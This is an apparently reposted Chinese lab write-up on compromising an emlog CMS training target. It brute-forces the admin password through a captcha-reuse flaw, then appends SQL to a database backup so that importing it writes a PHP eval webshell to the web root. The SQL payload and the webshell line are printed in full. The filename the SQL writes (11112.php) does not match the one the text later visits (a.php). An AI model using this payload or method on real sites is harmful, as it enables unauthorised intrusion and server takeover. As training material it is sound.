渗透测试-CMS网站数据库备份漏洞
Posted Tr0e
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了渗透测试-CMS网站数据库备份漏洞相关的知识,希望对你有一定的参考价值。
背景环境
背景介绍
安全工程师"墨者"的朋友搭建一个emlog个人博客系统,为了确保该系统的安全性,请你检测该系统是否存在安全漏洞。
实训目标
1、了解验证码绕过的相关知识;
2、了解后台地址扫描及其他相关漏洞资料;
3、了解后台常用账户密码的利用方式;
解题方向
进入后台,找到后台中可利用的地方getshell。
攻击过程
墨者学院在线靶机(动态地址): http://219.153.49.228:42047/
御剑扫描后台
老规矩,先上御剑扫描一波后台:
找到后台登录地址 http://219.153.49.228:42047/servlets/:
密码爆破
乍一看后台需要验证码,没法爆破。但是百度直接搜索emlog后台登录漏洞,发现emlog后台登录存在登录漏洞,验证码只要登录一次,就被记录了,没刷新销毁,导致可以BurpSuite直接暴力破解。
参考链接:https://blog.csdn.net/Fly_hps/article/details/80580771?utm_source=blogxgwz4
同时咱们还在主页已经发现用户mozhe777,和墨者666用户,猜测mozhe777是管理员用户,直接扔进BurpSuite进行爆破:
获得密码qwer1234,于是乎直接登录,进入后台:
登陆后台发现mozhe777果然是个高权限账号,同时发现这里有三个地方是可以Getshell的。
一个是插件漏洞,在上传插件的时候把大马一起压缩放在插件文件里面导致可以getshell,另外一个同理是导入模板漏洞,但是这两个漏洞在这里都不行。都是现实空间不支持zip模块,这时候只能通过数据库备份getshell了。
操纵数据库
点击数据库备份,下载.sql文件到本地:
接着在.sql文件末尾添加如下代码:
drop table if exists emlog_shell;
create table emlog_shell(`cmd` longtext not null);
insert into emlog_shell values("<?php @eval($_POST['c']);?>");
select cmd from emlog_shell into outfile '/var/www/html/11112.php';
drop table if exists emlog_shell;
解释下这段代码的意思:
- 如果存在emlog_shell表就把它删了;
- 然后重新创建一张表emlog_shell,而且只有字段cmd;
- longtext类型且不为空,并且插入字段值
<?php @eval($_POST['c']);?>
,构成一句话木马; - 然后将cmd的值读出来outfile文件输出流输出到
/var/www/html/a.php
,然后把emlog_shell表删了。
此处把小马放在/var/www/html/a.php
的路径下的原因是,emlog的默认phpinfo访问路径 /admin/?action=phpinfo
, 这里把admin换成servlets,查到网站物理路径 /var/www/html/
:
往下拉查找:
接着咱们把修改完的sql文件导入到服务器中:
然后访问 http://219.153.49.228:42047/a.php ,没有报错(没有显示“File not found. ”),说明木马文件已存在:
那就直接上菜刀连接了:
成功连接并获得目标Key.txt文件:
渗透总结
- 网站后台地址的查找,如果尝试默认的管理后台地址不行的话,一般用工具扫下就能扫出来。
- 常见的管理后台的弱密码,如果猜不出来就只能用爆破了,前提是后台存在暴力破解漏洞。
- 后台getshell的方法,一般的都是上传漏洞,编辑器漏洞或者是数据库备份漏洞,还有插件漏洞或者模板漏洞。
以上是关于渗透测试-CMS网站数据库备份漏洞的主要内容,如果未能解决你的问题,请参考以下文章